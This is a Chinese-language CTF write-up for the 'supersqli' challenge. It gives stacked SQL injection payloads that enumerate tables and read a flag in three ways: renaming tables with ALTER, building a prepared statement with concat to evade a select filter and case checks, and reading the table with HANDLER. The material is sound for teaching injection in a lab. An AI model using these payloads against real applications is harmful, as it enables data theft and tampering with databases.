攻防世界系列:supersqli
方法一:
用逗號包裹回顯正常,說明存在注入
1';--+(注釋符也可用 -- 或 # 發現均未被過濾!)
有order by 語句可知表由2個字段,使用聯合查詢 (想看看當前所在的數據庫)。結果發現關鍵字select被過濾了
-1' union select 1,database();--+
想到堆疊注入,發現可以。查看所有庫
-1';show databases;--+
查看所有表
-1';show tables;--+
查看表words里的字段
-1';show columns from words;--+
查看表 `1919810931114514`
-1';show columns from `1919810931114514`;--+
注意:以純數字命名的表,操作時要加上反引號。
至此可知flag就在這個數字表中,如何取出它呢?
分析:supersqli中兩個表
words表,兩個字段 id 、data。其中id為整形int(10)、data為字符型varchar(100)。
數字表,只有一個字段。且已知存的為flag
可以確定默認查詢的表為words,我們使用rename、alter把flag所在的數字表修改為默認查詢的表。
具體做法:
words名改為word123 alter table words rename to words123;
把數字表名改為 words alter table `1919810931114514` rename to words;
現在的words表中沒有id字段,我們把flag字段名改為id alter table words change flag id varchar(100);
最終構造語句:
1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);--+
構造:
1'or 1=1--+
方法二:
Mysql的預編譯,繞過select的過濾
什么是預編譯?
參考:https://www.cnblogs.com/micrari/p/7112781.html
通常我們的一條sql在db接收到最終執行完畢返回可以分為下面三個過程:
- 詞法和語義解析
- 優化sql語句,制定執行計划
- 執行並返回結果
我們把這種普通語句稱作Immediate Statements。
但是很多情況,我們的一條sql語句可能會反復執行,或者每次執行的時候只有個別的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要經過上面的詞法語義解析、語句優化、制定執行計划等,則效率就明顯不行了。
所謂預編譯語句就是將這類語句中的值用占位符替代,可以視為將sql語句模板化或者說參數化,一般稱這類語句叫Prepared Statements或者Parameterized Statements
預編譯語句的優勢在於歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止sql注入。
當然就優化來說,很多時候最優的執行計划不是光靠知道sql語句的模板就能決定了,往往就是需要通過具體值來預估出成本代價。
例如:
編譯
我們接下來通過 PREPARE stmt_name FROM preparable_stm
的語法來預編譯一條sql語句
mysql> prepare ins from 'insert into t select ?,?'; Query OK, 0 rows affected (0.00 sec) Statement prepared
執行
我們通過 EXECUTE stmt_name [USING @var_name [, @var_name] ...]
的語法來執行預編譯語句
mysql> set @a=999,@b='hello'; Query OK, 0 rows affected (0.00 sec) mysql> execute ins using @a,@b; Query OK, 1 row affected (0.01 sec) Records: 1 Duplicates: 0 Warnings: 0 mysql> select * from t; +------+-------+ | a | b | +------+-------+ | 999 | hello | +------+-------+ 1 row in set (0.00 sec)
可以看到,數據已經被成功插入表中。
具體做法:
編譯
set @sql = concat('sele','ct * from `1919810931114514`;');
prepare stm from @sql;
執行
execute stm;--+
最終構造語句:
set @sql = concat('sele','ct * from `1919810931114514`;');prepare stm from @sql;execute stm;--+
strstr對關鍵字set 和prepare進行了過濾,但他不區分大小寫,我們可以繞過
1';sEt @sql = concat('sele','ct * from `1919810931114514`;');prEpare smt from @sql;execute smt;--+
方法三:
rename和alter如果被禁了,還可以用這個
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;--+
(用於在知道表的情況下,部分關鍵字被禁止的情況下,用handler直接讀取表內容。)